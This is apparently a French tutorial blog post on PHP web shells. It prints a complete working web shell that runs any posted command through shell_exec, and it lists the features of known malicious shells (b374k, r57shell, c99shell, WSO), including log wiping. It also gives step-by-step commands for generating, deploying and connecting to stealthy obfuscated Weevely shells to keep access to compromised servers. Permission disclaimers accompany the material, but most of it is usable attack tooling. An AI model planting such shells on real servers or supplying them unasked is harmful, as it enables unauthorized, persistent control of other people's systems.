Qu’est-ce qu’un shell php ?
Un shell PHP est un script qui permet d’exécuter des commandes sur un serveur via une interface Web. Il est souvent utilisé pour gérer à distance un serveur Web ou pour effectuer des actions administratives. Cependant, il peut également être utilisé à des fins malveillantes, les pirates utilisent les shells pour maintenir un accès au serveur malgré une changement de mot de passe.
Voici un exemple de shell PHP simple et légal qui vous permet d’exécuter des commandes sur votre propre serveur. Assurez-vous de l’utiliser uniquement sur les systèmes sur lesquels vous avez la permission de le faire.
<?php if (isset($_POST['cmd'])) { $command = $_POST['cmd']; $output = shell_exec($command); echo "<pre>$output</pre>"; } ?> <!DOCTYPE html> <html lang="fr"> <head> <meta charset="UTF-8"> <title>Shell PHP simple</title> </head> <body> <form method="post"> <label for="cmd">Commande :</label> <input type="text" name="cmd" id="cmd"> <button type="submit">Exécuter</button> </form> </body> </html>
Voici le résultat après avoir tapé la commande « ls »
Ce script crée une interface Web simple avec un champ de texte où vous pouvez entrer vos commandes et un bouton pour les exécuter. Les commandes seront exécutées sur le serveur et le résultat sera affiché sur la page. Il est donc possible d’exécuter tout type de commande comme par exemple « mkdir » pour créer un dossier dans le réepertoire courant.
Encore une fois, n’utilisez ce shell que sur des systèmes pour lesquels vous avez la permission de le faire et ne partagez jamais ce script avec des personnes mal intentionnées.
Les shells PHP les plus connus
b374k
- Permet de naviguer dans l’arborescence des fichiers, de modifier leur contenu et de les manipuler.
- Donne la possibilité d’exécuter des commandes en ligne via l’interface Web.
- Offre des outils pour interagir avec les bases de données et effectuer des requêtes SQL.
- Affiche des infos détaillées sur le serveur et l’OS.
r57shell
- Facilite la gestion des fichiers et leur édition à travers l’interface Web.
- Autorise l’exécution de commandes shell depuis l’interface.
- Fournit des fonctionnalités pour se connecter aux bases de données et exécuter des requêtes.
- Présente des informations sur le serveur et l’environnement d’exécution.
- Nettoie les traces d’utilisation dans les fichiers logs du serveur.
c99shell
- Permet d’explorer les dossiers, de modifier les fichiers et de les gérer.
- Exécute des commandes shell à partir de l’interface Web.
- Connecte aux bases de données et effectue des requêtes SQL.
- Montre des détails sur le serveur et le système d’exploitation.
- Protège l’accès au shell avec un mot de passe.
WSO (Web Shell by Orb)
- Facilite la navigation et la manipulation des fichiers sur le serveur.
- Permet d’exécuter des commandes en ligne depuis l’interface Web.
- Connecte aux bases de données pour effectuer des requêtes SQL et afficher les résultats.
- Donne des informations sur le serveur et le système d’exploitation.
- Fournit des outils réseau tels que ping, traceroute et port scan.
Créer son Shell PHP avec Weevely
Weevely est un outil de génération de shells PHP furtifs pour la post-exploitation. Il génère des shells PHP sous forme de petits fichiers obfusqués et compressés, ce qui les rend plus difficiles à détecter par des mécanismes de sécurité traditionnels. Weevely est principalement utilisé lors de tests de pénétration et d’évaluations de sécurité pour maintenir un accès discret aux serveurs compromis.
Outre les fonctionnalités de base d’un shell PHP, Weevely propose également un ensemble de modules pour faciliter les tâches d’administration à distance, de récolte d’informations, de gestion des bases de données et d’exécution de commandes à distance. Vous pouvez créer votre shell php avec Weevely en une minute top chrono !
Installation de Weevely
Avant de pouvoir créer un shell PHP, il est nécessaire d’installer Weevely sur votre machine. Cet outil est généralement préinstallé dans les distributions de test de pénétration comme Kali Linux. Si ce n’est pas le cas, voici comment l’installer.
Installation sur Linux
Sous Linux, l’installation de Weevely peut se faire via le gestionnaire de paquets.
- Étape 1: Ouvrez un terminal
- Étape 2: Exécutez la commande suivante:
sudo apt-get install weevely
- Étape 3: Vérifiez l’installation avec:
weevely --help
Installation sur d’autres Systèmes d’Exploitation
Pour les autres systèmes d’exploitation, il vous faudra cloner le dépôt Github de Weevely et l’installer manuellement.
- Étape 1: Ouvrez un terminal
- Étape 2: Clonez le dépôt avec:
git clone https://github.com/epinna/weevely3.git
- Étape 3: Naviguez dans le dossier cloné:
cd weevely3
- Étape 4: Installez les dépendances avec:
pip install -r requirements.txt
- Étape 5: Vérifiez l’installation avec:
python weevely.py --help
Maintenant que Weevely est installé, passons à la création de notre shell PHP.
Création du Shell PHP avec Weevely
La création d’un shell PHP avec Weevely est un processus simple. Le code généré par Weevely est petit, discret et facilement personnalisable, le rendant parfait pour le déploiement sur des serveurs distants.
Génération du Shell PHP
La première étape est de générer le shell PHP.
- Étape 1: Ouvrez un terminal
- Étape 2: Exécutez la commande suivante:
weevely generate <password> <filename>
Remplacez <password>
par le mot de passe que vous voulez utiliser pour accéder au shell et <filename>
par le nom que vous voulez donner au fichier PHP généré. Cette commande créera un fichier PHP qui, lorsqu’il est déployé sur un serveur web, vous donnera accès à un shell distant lorsque vous vous connecterez avec le mot de passe correct.
Connexion au Shell
Une fois le shell PHP déployé sur un serveur web, vous pouvez vous y connecter avec Weevely.
- Étape 1: Ouvrez un terminal
- Étape 2: Exécutez la commande suivante:
weevely <url> <password>
Remplacez <url>
par l’URL où le shell PHP est hébergé et <password>
par le mot de passe que vous avez utilisé lors de la génération du shell. Cette commande établira une connexion avec le shell distant et vous permettra de commencer à l’exécuter.
Utilisation du Shell PHP avec Weevely
Weevely offre une grande variété de modules que vous pouvez utiliser pour réaliser diverses tâches sur le serveur distant. Voici quelques exemples de ce que vous pouvez faire :
Gestion des Fichiers
Weevely offre des modules pour la gestion des fichiers sur le serveur distant. Par exemple, vous pouvez utiliser le module file_download
pour télécharger des fichiers du serveur distant, et le module file_upload
pour télécharger des fichiers sur le serveur distant.
Exécution de Commandes
Weevely vous permet également d’exécuter des commandes sur le serveur distant. Par exemple, vous pouvez utiliser le module system_info
pour obtenir des informations sur le système d’exploitation du serveur distant, et le module shell_sh
pour exécuter des commandes shell.
La faille upload et reverse shell en détail